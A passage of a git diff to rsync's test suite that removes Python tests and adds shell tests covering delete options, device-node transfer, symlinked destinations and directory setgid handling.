{remaining}\")\n-\n-# --- --existing only updates files already present (creates nothing) ---------\n-seed_src()\n-rmtree(TODIR)\n-makepath(TODIR / 'd1')\n-(TODIR / 'd1' / 'f1').write_text(\"old\\n\")\n-run_rsync('-a', '--existing', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / 'd1' / 'f1', src / 'd1' / 'f1',\n-            label='--existing updated existing deep file')\n-assert_not_exists(TODIR / 'f0', label='--existing did not create new top file')\n-assert_not_exists(TODIR / 'd1' / 'd2', label='--existing did not create new dir')\n-\n-# --- --ignore-existing skips present files, creates the rest -----------------\n-seed_src()\n-rmtree(TODIR)\n-makepath(TODIR / 'd1')\n-(TODIR / 'd1' / 'f1').write_text(\"KEEP THIS\\n\")\n-run_rsync('-a', '--ignore-existing', f'{src}/', f'{TODIR}/')\n-if (TODIR / 'd1' / 'f1').read_text() != \"KEEP THIS\\n\":\n-    test_fail(\"--ignore-existing overwrote an existing deep file\")\n-assert_same(TODIR / 'f0', src / 'f0', label='--ignore-existing created new file')\n-\n-# --- --backup --delete consults is_backup_file -------------------------------\n-# Under --backup with no --backup-dir, an extraneous file is backed up to\n-# <name>~ before removal, but a name that already ends in the backup suffix is\n-# unlinked directly rather than re-backed-up to <name>~~ (delete.c\n-# is_backup_file). rsync auto-protects *~ from deletion, so without an explicit\n-# \"risk\" rule the suffixed file is never even a deletion candidate and that\n-# branch is unreachable; the R rule un-protects it so the branch actually runs.\n-rels = seed_src()\n-fresh_dest()\n-d = TODIR / 'd1' / 'd2'\n-(d / 'plain').write_text(\"extraneous\\n\")          # normal -> backed up to plain~\n-(d / 'stale~').write_text(\"already a backup\\n\")    # suffixed -> unlinked, no stale~~\n-run_rsync('-a', '-b', '--delete', '--filter=R *~', f'{src}/', f'{TODIR}/')\n-assert_not_exists(d / 'plain', label='--backup --delete removed extraneous')\n-assert_exists(d / 'plain~', label='--backup backed up the extraneous file')\n-assert_not_exists(d / 'stale~', label='--backup --delete removed suffixed orphan')\n-assert_not_exists(d / 'stale~~',\n-                  label='is_backup_file: already-suffixed file unlinked, not re-backed-up')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'--backup --delete kept {rel}')\n-\n-print(\"delete-deep: delete family, max-delete, existing/ignore-existing, \"\n-      \"backup-delete at depth\")\ndiff --git a/testsuite/delete-missing-args-files-from_test.py b/testsuite/delete-missing-args-files-from_test.py\ndeleted file mode 100644\nindex 356be8d..0000000\n--- a/testsuite/delete-missing-args-files-from_test.py\n+++ /dev/null\n@@ -1,80 +0,0 @@\n-#!/usr/bin/env python3\n-# Functional regression: --delete-missing-args with --files-from aborts the\n-# transfer with \"invalid file mode 00 ... protocol incompatibility (code 2)\"\n-# instead of deleting the entries that are missing on the sender.\n-#\n-# Reported as #910 (\"Security fix in flist.c breaks --delete-missing-args with\n-# --files-from\").\n-#\n-# Root cause: for a --files-from entry that does not exist on the sender,\n-# --delete-missing-args==2 deliberately sends a \"missing\" file entry with\n-# mode == 0 (the generator's signal to delete it on the receiver).  The 3.4.x\n-# security mode-validation added to recv_file_entry() (flist.c) rejects mode 0\n-# as an invalid file type BEFORE the generator can act on it, so the receiver\n-# bails out with a protocol error and nothing is deleted.  Works in 3.4.1.\n-#\n-# Two scenarios, since a missing FILE and a missing DIRECTORY are sent as\n-# distinct mode-0 entries:\n-#   * a regular file present on the receiver but absent on the sender, and\n-#   * a directory present on the receiver but absent on the sender,\n-# both named in --files-from.  Both must be deleted on the receiver.\n-#\n-# XFAIL until recv_file_entry() accepts the missing-args mode-0 entry again\n-# (the accompanying flist.c fix).  Runs at any uid.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    test_xfail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12910\n-\n-mod = SCRATCHDIR / 'recvmod910'    # daemon receive module\n-src = SCRATCHDIR / 'src910'\n-rmtree(mod)\n-rmtree(src)\n-makepath(mod / 'ghostdir', src)\n-(src / 'keep.txt').write_text(\"keep-me\\n\")            # present on sender\n-(mod / 'keep.txt').write_text(\"stale\\n\")              # will be updated\n-(mod / 'ghost.txt').write_text(\"delete-me-file\\n\")    # absent on sender -> delete\n-(mod / 'ghostdir' / 'inner').write_text(\"delete-me-dir\\n\")  # absent on sender -> delete\n-\n-# --files-from lists one present file plus the two entries that are missing on\n-# the sender (a file and a directory) -- those become mode-0 \"missing\" entries.\n-flist = SCRATCHDIR / 'files910.lst'\n-flist.write_text(\"keep.txt\\nghost.txt\\nghostdir\\n\")\n-\n-conf = write_daemon_conf([\n-    ('recv', {'path': str(mod), 'read only': 'no'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', '--delete', '--delete-missing-args',\n-               f'--files-from={flist}', f'{src}/', f'{url}recv/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-out = proc.stdout or ''\n-print(out)\n-\n-# Bug present: the receiver rejects the mode-0 missing-args entry.\n-if 'invalid file mode' in out or (proc.returncode == 2 and (mod / 'ghost.txt').exists()):\n-    test_xfail(\n-        \"#910: --delete-missing-args with --files-from aborts with \"\n-        \"`invalid file mode 00 ... protocol incompatibility (code 2)`.  The \"\n-        \"sender sends mode-0 entries for the missing args (the delete signal), \"\n-        \"but recv_file_entry()'s 3.4.x mode-validation rejects mode 0 before the \"\n-        \"generator can delete them.  To be closed by accepting the \"\n-        \"missing-args mode-0 entry in recv_file_entry().\")\n-\n-# Bug fixed (or absent): both missing args were deleted, the present file kept.\n-if proc.returncode != 0:\n-    test_fail(f\"transfer failed unexpectedly (rc={proc.returncode}); \"\n-              f\"not the #910 mode-00 symptom:\\n{out}\")\n-if (mod / 'ghost.txt').exists():\n-    test_fail(\"missing-arg file ghost.txt was not deleted on the receiver\")\n-if (mod / 'ghostdir').exists():\n-    test_fail(\"missing-arg directory ghostdir was not deleted on the receiver\")\n-if not (mod / 'keep.txt').is_file() or (mod / 'keep.txt').read_text() != \"keep-me\\n\":\n-    test_fail(\"present file keep.txt was not delivered/updated correctly\")\ndiff --git a/testsuite/delete.test b/testsuite/delete.test\nnew file mode 100644\nindex 0000000..2a9df7c\n--- /dev/null\n+++ b/testsuite/delete.test\n@@ -0,0 +1,57 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2005-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync handling of various delete directives.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+hands_setup\n+\n+makepath \"$chkdir\" \"$todir/extradir\" \"$todir/emptydir/subdir\"\n+\n+echo extra >\"$todir\"/remove1\n+echo extra >\"$todir\"/remove2\n+echo extra >\"$todir\"/extradir/remove3\n+echo extra >\"$todir\"/emptydir/subdir/remove4\n+\n+# Create two chk dirs, one with a copy of the source files, and one with\n+# what we expect to be left behind by the copy using --remove-source-files.\n+# Also, make sure that --dry-run --del doesn't output anything extraneous.\n+$RSYNC -av \"$fromdir/\" \"$chkdir/copy/\" >\"$tmpdir/copy.out\" 2>&1\n+cat \"$tmpdir/copy.out\"\n+grep -E -v '^(created directory|sent|total size) ' \"$tmpdir/copy.out\" >\"$tmpdir/copy.new\"\n+mv \"$tmpdir/copy.new\" \"$tmpdir/copy.out\"\n+\n+$RSYNC -avn --del \"$fromdir/\" \"$chkdir/copy2/\" >\"$tmpdir/copy2.out\" 2>&1 || true\n+cat \"$tmpdir/copy2.out\"\n+grep -E -v '^(created directory|sent|total size) ' \"$tmpdir/copy2.out\" >\"$tmpdir/copy2.new\"\n+mv \"$tmpdir/copy2.new\" \"$tmpdir/copy2.out\"\n+\n+diff $diffopt \"$tmpdir/copy.out\" \"$tmpdir/copy2.out\"\n+\n+$RSYNC -av -f 'exclude,! */' \"$fromdir/\" \"$chkdir/empty/\"\n+\n+checkit \"$RSYNC -avv --del --remove-source-files '$fromdir/' '$todir/'\" \"$chkdir/copy\" \"$todir\"\n+\n+diff -r \"$chkdir/empty\" \"$fromdir\"\n+\n+# Make sure that \"P\" but not \"-\" per-dir merge-file filters take effect with\n+# --delete-excluded.\n+cat >\"$todir/filters\" <<EOF\n+P foo\n+- bar\n+EOF\n+touch \"$todir/foo\" \"$todir/bar\" \"$todir/baz\"\n+\n+$RSYNC -r --exclude=baz --filter=': filters' --delete-excluded \"$fromdir/\" \"$todir/\"\n+\n+test -f \"$todir/foo\" || test_fail \"rsync should NOT have deleted $todir/foo\"\n+test -f \"$todir/bar\" && test_fail \"rsync SHOULD have deleted $todir/bar\"\n+test -f \"$todir/baz\" && test_fail \"rsync SHOULD have deleted $todir/baz\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/delete_test.py b/testsuite/delete_test.py\ndeleted file mode 100644\nindex 99195b2..0000000\n--- a/testsuite/delete_test.py\n+++ /dev/null\n@@ -1,105 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/delete.test.\n-#\n-# Exercises three independent delete-handling behaviours:\n-#   1. --del dry-run output matches a real copy's output (sans the trivial\n-#      \"created directory\" / \"sent\" / \"total size\" lines).\n-#   2. --del --remove-source-files leaves the source empty (only dirs) and\n-#      the destination matching what a plain copy would have produced.\n-#   3. per-directory filter file with \"P\" (protect) keeps a file alive across\n-#      --delete-excluded; \"-\" (exclude) does NOT.\n-\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, TMPDIR, TODIR,\n-    checkit, hands_setup, makepath, rsync_argv, test_fail,\n-)\n-\n-\n-hands_setup()\n-makepath(CHKDIR, TODIR / 'extradir', TODIR / 'emptydir' / 'subdir')\n-\n-(TODIR / 'remove1').write_text(\"extra\\n\")\n-(TODIR / 'remove2').write_text(\"extra\\n\")\n-(TODIR / 'extradir' / 'remove3').write_text(\"extra\\n\")\n-(TODIR / 'emptydir' / 'subdir' / 'remove4').write_text(\"extra\\n\")\n-\n-\n-def _run_capture(*args):\n-    proc = subprocess.run(rsync_argv(*args), capture_output=True, text=True)\n-    return proc\n-\n-\n-def _strip_chatter(text: str) -> str:\n-    \"\"\"Remove the lines the shell test stripped via grep -E -v.\"\"\"\n-    keep = []\n-    for line in text.splitlines():\n-        if (line.startswith('created directory ')\n-                or line.startswith('sent ')\n-                or line.startswith('total size ')):\n-            continue\n-        keep.append(line)\n-    return '\\n'.join(keep) + ('\\n' if text.endswith('\\n') else '')\n-\n-\n-# Two chkdirs: copy/ has what a normal copy looks like, empty/ has just\n-# directories (used as a remove-source-files comparator).\n-copy_proc = _run_capture('-av', f'{FROMDIR}/', f'{CHKDIR}/copy/')\n-copy_out = _strip_chatter(copy_proc.stdout + copy_proc.stderr)\n-(TMPDIR / 'copy.out').write_text(copy_out)\n-print(copy_proc.stdout)\n-\n-# --del dry-run output (status may be 0 or 23 from delete behaviour; ignore\n-# return code as the shell test does).\n-copy2_proc = _run_capture('-avn', '--del', f'{FROMDIR}/', f'{CHKDIR}/copy2/')\n-copy2_out = _strip_chatter(copy2_proc.stdout + copy2_proc.stderr)\n-(TMPDIR / 'copy2.out').write_text(copy2_out)\n-print(copy2_proc.stdout)\n-\n-if copy_out != copy2_out:\n-    diff = subprocess.run(\n-        ['diff', '-u', str(TMPDIR / 'copy.out'), str(TMPDIR / 'copy2.out')],\n-        capture_output=True, text=True,\n-    )\n-    sys_stdout = diff.stdout\n-    print(sys_stdout)\n-    test_fail(\"--del dry-run output diverged from a plain copy's output\")\n-\n-# Build chk/empty as a directories-only mirror of fromdir.\n-proc = subprocess.run(\n-    rsync_argv('-av', '-f', 'exclude,! */', f'{FROMDIR}/', f'{CHKDIR}/empty/'),\n-)\n-if proc.returncode != 0:\n-    test_fail(\"setup of chk/empty failed\")\n-\n-# Main: --del + --remove-source-files leaves dirs only in fromdir, and\n-# destination matches a normal copy.\n-checkit(['-avv', '--del', '--remove-source-files', f'{FROMDIR}/', f'{TODIR}/'],\n-        CHKDIR / 'copy', TODIR)\n-\n-diff = subprocess.run(['diff', '-r', '-u', str(CHKDIR / 'empty'), str(FROMDIR)])\n-if diff.returncode != 0:\n-    test_fail(\"--remove-source-files did not leave fromdir as just directories\")\n-\n-\n-# Per-directory filter file: \"P\" protects, \"-\" excludes.\n-(TODIR / 'filters').write_text(\"P foo\\n- bar\\n\")\n-for name in ('foo', 'bar', 'baz'):\n-    (TODIR / name).touch()\n-\n-proc = subprocess.run(\n-    rsync_argv('-r', '--exclude=baz', '--filter=: filters', '--delete-excluded',\n-               f'{FROMDIR}/', f'{TODIR}/'),\n-)\n-if proc.returncode != 0:\n-    test_fail(f\"filter-file run exited {proc.returncode}\")\n-\n-if not (TODIR / 'foo').is_file():\n-    test_fail(f\"rsync should NOT have deleted {TODIR / 'foo'}\")\n-if (TODIR / 'bar').is_file():\n-    test_fail(f\"rsync SHOULD have deleted {TODIR / 'bar'}\")\n-if (TODIR / 'baz').is_file():\n-    test_fail(f\"rsync SHOULD have deleted {TODIR / 'baz'}\")\ndiff --git a/testsuite/dest-symlinked-dir_test.py b/testsuite/dest-symlinked-dir_test.py\ndeleted file mode 100644\nindex ae6ed0d..0000000\n--- a/testsuite/dest-symlinked-dir_test.py\n+++ /dev/null\n@@ -1,40 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression: a non-daemon receiver must FOLLOW an absolute symlinked\n-# destination directory -- the common `/backup -> /mnt/disk`, `/var/www ->\n-# /srv/www` admin pattern that scripts/cron use with absolute paths.\n-#\n-# The dest-symlink hardening opened the operator-named absolute dest with\n-# O_NOFOLLOW and *refused* a symlink (\"refusing to chdir into symlinked\n-# destination ... use --insecure-links\"), exiting 3.  A relative symlinked dest\n-# always followed (plain chdir), so the behaviour was inconsistent too.  Now a\n-# real directory is still opened O_NOFOLLOW (never reached via a raced leaf\n-# symlink), but an operator-named symlinked dest is followed; the per-entry\n-# transfer stays confined beneath the resolved root.\n-\n-import os\n-\n-from rsyncfns import SCRATCHDIR, assert_same, rmtree, run_rsync, test_fail\n-\n-base = SCRATCHDIR / 'dest-symlinked'\n-src = base / 'src'\n-real = base / 'realdest'\n-link = base / 'backup'           # absolute symlink -> realdest\n-rmtree(base)\n-src.mkdir(parents=True)\n-real.mkdir(parents=True)\n-(src / 'f.txt').write_text('content\\n')\n-(src / 'sub').mkdir()\n-(src / 'sub' / 'g.txt').write_text('deep\\n')\n-os.symlink(str(real), str(link))     # ABSOLUTE symlinked destination\n-\n-# Absolute dest path through the symlink -- this exited 3 on the unfixed branch.\n-run_rsync('-a', f'{src}/', f'{link}/')   # check=True: must succeed (exit 0)\n-\n-for rel in ('f.txt', 'sub/g.txt'):\n-    got = real / rel\n-    if not got.is_file():\n-        test_fail(\"transfer through an absolute symlinked dest did not land in \"\n-                  f\"the real directory: {got} missing\")\n-    assert_same(src / rel, got, label=rel)\n-\n-print(\"dest-symlinked-dir: a non-daemon receiver follows an absolute symlinked dest\")\ndiff --git a/testsuite/devices-fake_test.py b/testsuite/devices-fake_test.py\ndeleted file mode 120000\nindex d29085d..0000000\n--- a/testsuite/devices-fake_test.py\n+++ /dev/null\n@@ -1 +0,0 @@\n-devices_test.py\n\\ No newline at end of file\ndiff --git a/testsuite/devices.test b/testsuite/devices.test\nnew file mode 100644\nindex 0000000..ad5f936\n--- /dev/null\n+++ b/testsuite/devices.test\n@@ -0,0 +1,171 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2002 by Martin Pool <mbp@samba.org>\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test rsync handling of devices.  This can only run if you're root.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+# Build some hardlinks\n+\n+case $0 in\n+*fake*)\n+    $RSYNC -VV | grep '\"xattrs\": true' >/dev/null || test_skipped \"Rsync needs xattrs for fake device tests\"\n+    RSYNC=\"$RSYNC --fake-super\"\n+    TLS_ARGS=\"$TLS_ARGS --fake-super\"\n+    case \"$HOST_OS\" in\n+    darwin*)\n+\tmknod() {\n+\t    fn=\"$1\"\n+\t    case \"$2\" in\n+\t    p) mode=10644 ;;\n+\t    c) mode=20644 ;;\n+\t    b) mode=60644 ;;\n+\t    esac\n+\t    maj=\"${3:-0}\"\n+\t    min=\"${4:-0}\"\n+\t    touch \"$fn\"\n+\t    xattr -s 'rsync.%stat' \"$mode $maj,$min 0:0\" \"$fn\"\n+\t}\n+\t;;\n+    solaris*)\n+\tmknod() {\n+\t    fn=\"$1\"\n+\t    case \"$2\" in\n+\t    p) mode=10644 ;;\n+\t    c) mode=20644 ;;\n+\t    b) mode=60644 ;;\n+\t    esac\n+\t    maj=\"${3:-0}\"\n+\t    min=\"${4:-0}\"\n+\t    touch \"$fn\"\n+\t    runat \"$fn\" \"$SHELL_PATH\" <<EOF\n+echo \"$mode $maj,$min 0:0\" > rsync.%stat\n+EOF\n+\t}\n+\t;;\n+    freebsd*)\n+\tmknod() {\n+\t    fn=\"$1\"\n+\t    case \"$2\" in\n+\t    p) mode=10644 ;;\n+\t    c) mode=20644 ;;\n+\t    b) mode=60644 ;;\n+\t    esac\n+\t    maj=\"${3:-0}\"\n+\t    min=\"${4:-0}\"\n+\t    touch \"$fn\"\n+\t    setextattr -h user \"rsync.%stat\" \"$mode $maj,$min 0:0\" \"$fn\"\n+\t}\n+\t;;\n+    *)\n+\tmknod() {\n+\t    fn=\"$1\"\n+\t    case \"$2\" in\n+\t    p) mode=10644 ;;\n+\t    c) mode=20644 ;;\n+\t    b) mode=60644 ;;\n+\t    esac\n+\t    maj=\"${3:-0}\"\n+\t    min=\"${4:-0}\"\n+\t    touch \"$fn\"\n+\t    setfattr -n 'user.rsync.%stat' -v \"$mode $maj,$min 0:0\" \"$fn\"\n+\t}\n+\t;;\n+    esac\n+    ;;\n+*)\n+    my_uid=`get_testuid`\n+    root_uid=`get_rootuid`\n+    if test x\"$my_uid\" = x; then\n+\t: # If \"id\" failed, try to continue...\n+    elif test x\"$my_uid\" != x\"$root_uid\"; then\n+\tif [ -e \"$FAKEROOT_PATH\" ]; then\n+\t    echo \"Let's try re-running the script under fakeroot...\"\n+\t    exec \"$FAKEROOT_PATH\" \"$SHELL_PATH\" $RUNSHFLAGS \"$0\"\n+\tfi\n+\ttest_skipped \"Rsync needs root/fakeroot for device tests\"\n+    fi\n+    ;;\n+esac\n+\n+# TODO: Need to test whether hardlinks are possible on this OS/filesystem\n+\n+$RSYNC -VV | grep '\"hardlink_specials\": true' >/dev/null && CAN_HLINK_SPECIAL=yes || CAN_HLINK_SPECIAL=no\n+\n+mkdir \"$fromdir\"\n+mkdir \"$todir\"\n+mknod \"$fromdir/char\" c 41 67  || test_skipped \"Can't create char device node\"\n+mknod \"$fromdir/char2\" c 42 68  || test_skipped \"Can't create char device node\"\n+mknod \"$fromdir/char3\" c 42 69  || test_skipped \"Can't create char device node\"\n+mknod \"$fromdir/block\" b 42 69 || test_skipped \"Can't create block device node\"\n+mknod \"$fromdir/block2\" b 42 73 || test_skipped \"Can't create block device node\"\n+mknod \"$fromdir/block3\" b 105 73 || test_skipped \"Can't create block device node\"\n+if test \"$CAN_HLINK_SPECIAL\" = yes; then\n+    ln \"$fromdir/block3\" \"$fromdir/block3.5\"\n+else\n+    echo \"Skipping hard-linked device test...\"\n+fi\n+mkfifo \"$fromdir/fifo\" || mknod \"$fromdir/fifo\" p || test_skipped \"Can't run mkfifo\"\n+# Work around time rounding/truncating issue by touching both files.\n+touch -r \"$fromdir/block\" \"$fromdir/block\" \"$fromdir/block2\"\n+\n+checkdiff \"$RSYNC -ai '$fromdir/block' '$todir/block2'\" <<EOT\n+cD$all_plus block\n+EOT\n+\n+checkdiff \"$RSYNC -ai '$fromdir/block2' '$todir/block'\" <<EOT\n+cD$all_plus block2\n+EOT\n+\n+sleep 1\n+\n+checkdiff \"$RSYNC -Di '$fromdir/block3' '$todir/block'\" <<EOT\n+cDc.T.$dots block3\n+EOT\n+\n+cat >\"$chkfile\" <<EOT\n+.d..t.$dots ./\n+cDc.t.$dots block\n+cDc...$dots block2\n+cD$all_plus block3\n+hD$all_plus block3.5 => block3\n+cD$all_plus char\n+cD$all_plus char2\n+cD$all_plus char3\n+cS$all_plus fifo\n+EOT\n+if test \"$CAN_HLINK_SPECIAL\" = no; then\n+    grep -v block3.5 <\"$chkfile\" >\"$chkfile.new\"\n+    mv \"$chkfile.new\" \"$chkfile\"\n+fi\n+\n+checkdiff2 \"$RSYNC -aiHvv '$fromdir/' '$todir/'\" v_filt\n+\n+echo \"check how the directory listings compare with diff:\"\n+echo \"\"\n+( cd \"$fromdir\" && rsync_ls_lR . ) > \"$tmpdir/ls-from\"\n+( cd \"$todir\" && rsync_ls_lR . ) > \"$tmpdir/ls-to\"\n+diff $diffopt \"$tmpdir/ls-from\" \"$tmpdir/ls-to\"\n+\n+if test \"$CAN_HLINK_SPECIAL\" = yes; then\n+    set -x\n+    checkdiff \"$RSYNC -aii --link-dest='$todir' '$fromdir/' '$chkdir/'\" <<EOT\n+created directory $chkdir\n+cd$allspace ./\n+hD$allspace block\n+hD$allspace block2\n+hD$allspace block3\n+hD$allspace block3.5\n+hD$allspace char\n+hD$allspace char2\n+hD$allspace char3\n+hS$allspace fifo\n+EOT\n+fi\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/devices_test.py b/testsuite/devices_test.py\ndeleted file mode 100644\nindex 40c9419..0000000\n--- a/testsuite/devices_test.py\n+++ /dev/null\n@@ -1,163 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/devices.test (and, via a Makefile-built\n-# symlink, of devices-fake.test).\n-#\n-# Test rsync's handling of device nodes (char/block/fifo) plus the\n-# fake-super variant that encodes device numbers in the\n-# user.rsync.%stat xattr instead of mknod-ing real devices.\n-\n-import os\n-import sys\n-\n-import rsyncfns\n-from rsyncfns import (\n-    CHKDIR, CHKFILE, FROMDIR, OUTFILE, RSYNC_PREFIX, TMPDIR, TODIR,\n-    all_plus, allspace, dots,\n-    checkdiff, hands_setup, makepath, rsync_ls_lR, run_rsync,\n-    test_fail, test_skipped, v_filt, xattr_set, xattrs_supported,\n-)\n-\n-\n-script_name = os.path.basename(sys.argv[0] if sys.argv[0] else __file__)\n-fake_variant = 'fake' in script_name\n-\n-if fake_variant:\n-    if not xattrs_supported():\n-        test_skipped(\"Rsync needs xattrs for fake device tests\")\n-\n-    rsyncfns.RSYNC = rsyncfns.RSYNC + ' --fake-super'\n-    rsyncfns.TLS_ARGS = (rsyncfns.TLS_ARGS + ' --fake-super').strip()\n-\n-    def make_special(path, kind: str, major: int = 0, minor: int = 0) -> bool:\n-        \"\"\"Pretend to mknod `path` as kind {'p','c','b'} via rsync's\n-        fake-super \"%stat\" xattr (name/namespace handled per-OS by\n-        xattr_set). Returns True on success, False if the FS rejects it.\n-        \"\"\"\n-        mode = {'p': 0o10644, 'c': 0o20644, 'b': 0o60644}[kind]\n-        try:\n-            with open(path, 'w'):\n-                pass\n-            xattr_set(f'{RSYNC_PREFIX}.%stat',\n-                      f\"{mode:o} {major},{minor} 0:0\", path)\n-            return True\n-        except OSError:\n-            return False\n-else:\n-    my_uid = os.getuid()\n-    if my_uid != 0:\n-        # Try fakeroot, mirroring the shell test.\n-        fakeroot_path = os.environ.get('FAKEROOT_PATH')\n-        if fakeroot_path and os.access(fakeroot_path, os.X_OK):\n-            print(\"Let's try re-running the script under fakeroot...\")\n-            os.execv(fakeroot_path, [fakeroot_path, sys.executable, __file__])\n-        test_skipped(\"Rsync needs root/fakeroot for device tests\")\n-\n-    def make_special(path, kind: str, major: int = 0, minor: int = 0) -> bool:\n-        try:\n-            if kind == 'p':\n-                os.mkfifo(path)\n-            else:\n-                mode = 0o644 | (0o020000 if kind == 'c' else 0o060000)\n-                os.mknod(path, mode, os.makedev(major, minor))\n-            return True\n-        except OSError:\n-            return False\n-\n-\n-# Does this build of rsync support hard-linking specials?\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-can_hlink_special = '\"hardlink_specials\": true' in vv.stdout\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-TODIR.mkdir(parents=True, exist_ok=True)\n-\n-if not make_special(FROMDIR / 'char', 'c', 41, 67):\n-    test_skipped(\"Can't create char device node\")\n-if not make_special(FROMDIR / 'char2', 'c', 42, 68):\n-    test_skipped(\"Can't create char device node\")\n-if not make_special(FROMDIR / 'char3', 'c', 42, 69):\n-    test_skipped(\"Can't create char device node\")\n-if not make_special(FROMDIR / 'block', 'b', 42, 69):\n-    test_skipped(\"Can't create block device node\")\n-if not make_special(FROMDIR / 'block2', 'b', 42, 73):\n-    test_skipped(\"Can't create block device node\")\n-if not make_special(FROMDIR / 'block3', 'b', 105, 73):\n-    test_skipped(\"Can't create block device node\")\n-\n-if can_hlink_special:\n-    try:\n-        os.link(FROMDIR / 'block3', FROMDIR / 'block3.5')\n-    except OSError:\n-        # The shell test prints a \"Skipping hard-linked device test...\" line\n-        # when it can't link the device; let it slide here, too.\n-        print(\"Skipping hard-linked device test... (link failed)\")\n-        can_hlink_special = False\n-else:\n-    print(\"Skipping hard-linked device test...\")\n-\n-if not make_special(FROMDIR / 'fifo', 'p'):\n-    test_skipped(\"Can't run mkfifo\")\n-\n-# Match block/block2 timestamps so the diff doesn't drift.\n-ref = (FROMDIR / 'block').stat()\n-os.utime(FROMDIR / 'block', (ref.st_atime, ref.st_mtime), follow_symlinks=False)\n-os.utime(FROMDIR / 'block2', (ref.st_atime, ref.st_mtime), follow_symlinks=False)\n-\n-checkdiff(['-ai', f'{FROMDIR}/block', f'{TODIR}/block2'],\n-          f\"cD{all_plus} block\\n\")\n-\n-checkdiff(['-ai', f'{FROMDIR}/block2', f'{TODIR}/block'],\n-          f\"cD{all_plus} block2\\n\")\n-\n-import time\n-time.sleep(1)\n-\n-checkdiff(['-Di', f'{FROMDIR}/block3', f'{TODIR}/block'],\n-          f\"cDc.T.{dots} block3\\n\")\n-\n-# Build the expected -aiHvv listing.\n-chkfile_lines = [\n-    f\".d..t.{dots} ./\",\n-    f\"cDc.t.{dots} block\",\n-    f\"cDc...{dots} block2\",\n-    f\"cD{all_plus} block3\",\n-]\n-if can_hlink_special:\n-    chkfile_lines.append(f\"hD{all_plus} block3.5 => block3\")\n-chkfile_lines += [\n-    f\"cD{all_plus} char\",\n-    f\"cD{all_plus} char2\",\n-    f\"cD{all_plus} char3\",\n-    f\"cS{all_plus} fifo\",\n-]\n-expected = '\\n'.join(chkfile_lines) + '\\n'\n-\n-checkdiff(['-aiHvv', f'{FROMDIR}/', f'{TODIR}/'], expected, filter=v_filt)\n-\n-print(\"check how the directory listings compare with diff:\\n\")\n-ls_from = rsync_ls_lR(FROMDIR)\n-ls_to = rsync_ls_lR(TODIR)\n-if ls_from != ls_to:\n-    from difflib import unified_diff\n-    sys.stdout.write(''.join(unified_diff(\n-        ls_from.splitlines(keepends=True),\n-        ls_to.splitlines(keepends=True),\n-        fromfile='from', tofile='to',\n-    )))\n-    test_fail(\"from/to listings differ after device transfer\")\n-\n-if can_hlink_special:\n-    expected = (\n-        f\"created directory {CHKDIR}\\n\"\n-        f\"cd{allspace} ./\\n\"\n-        f\"hD{allspace} block\\n\"\n-        f\"hD{allspace} block2\\n\"\n-        f\"hD{allspace} block3\\n\"\n-        f\"hD{allspace} block3.5\\n\"\n-        f\"hD{allspace} char\\n\"\n-        f\"hD{allspace} char2\\n\"\n-        f\"hD{allspace} char3\\n\"\n-        f\"hS{allspace} fifo\\n\"\n-    )\n-    checkdiff(['-aii', f'--link-dest={TODIR}',\n-               f'{FROMDIR}/', f'{CHKDIR}/'], expected)\ndiff --git a/testsuite/dir-sgid.test b/testsuite/dir-sgid.test\nnew file mode 100644\nindex 0000000..d6b9a3c\n--- /dev/null\n+++ b/testsuite/dir-sgid.test\n@@ -0,0 +1,48 @@\n+#!/bin/sh\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that rsync obeys directory setgid. -- Matt McCutchen\n+\n+. $suitedir/rsync.fns\n+\n+umask 077\n+\n+# Call as: testit <dirname> <dirperms> <file-expected> <program-expected> <dir-expected>\n+testit() {\n+    todir=\"$scratchdir/$1\"\n+    mkdir \"$todir\"\n+    chmod $2 \"$todir\"\n+    # Make sure we obey directory setgid when creating a directory to hold multiple transferred files,\n+    # even though the directory itself is outside the transfer\n+    $RSYNC -rvv \"$scratchdir/dir\" \"$scratchdir/file\" \"$scratchdir/program\" \"$todir/to/\"\n+    check_perms \"$todir/to\" $5 \"Target $1\"\n+    check_perms \"$todir/to/dir\" $5 \"Target $1\"\n+    check_perms \"$todir/to/file\" $3 \"Target $1\"\n+    check_perms \"$todir/to/program\" $4 \"Target $1\"\n+}\n+\n+mkdir \"$scratchdir/dir\"\n+# Cygwin has a persistent default dir ACL that ruins this test.\n+case `getfacl \"$scratchdir/dir\" 2>/dev/null || true` in\n+*default:user::*) test_skipped \"The default ACL mode interferes with this test\" ;;\n+esac\n+\n+echo \"File!\" >\"$scratchdir/file\"\n+echo \"#!/bin/sh\" >\"$scratchdir/program\"\n+\n+chmod u=rwx,g=rw,g+s,o=r \"$scratchdir/dir\" || test_skipped \"Can't chmod\"\n+chmod 664 \"$scratchdir/file\"\n+chmod 775 \"$scratchdir/program\"\n+\n+[ -g \"$scratchdir/dir\" ] || test_skipped \"The directory setgid bit vanished!\"\n+mkdir \"$scratchdir/dir/blah\"\n+[ -g \"$scratchdir/dir/blah\" ] || test_skipped \"Your filesystem doesn't use directory setgid; maybe it's BSD.\"\n+\n+# Test some target directories\n+testit setgid-off 700 rw------- rwx------ rwx------\n+testit setgid-on 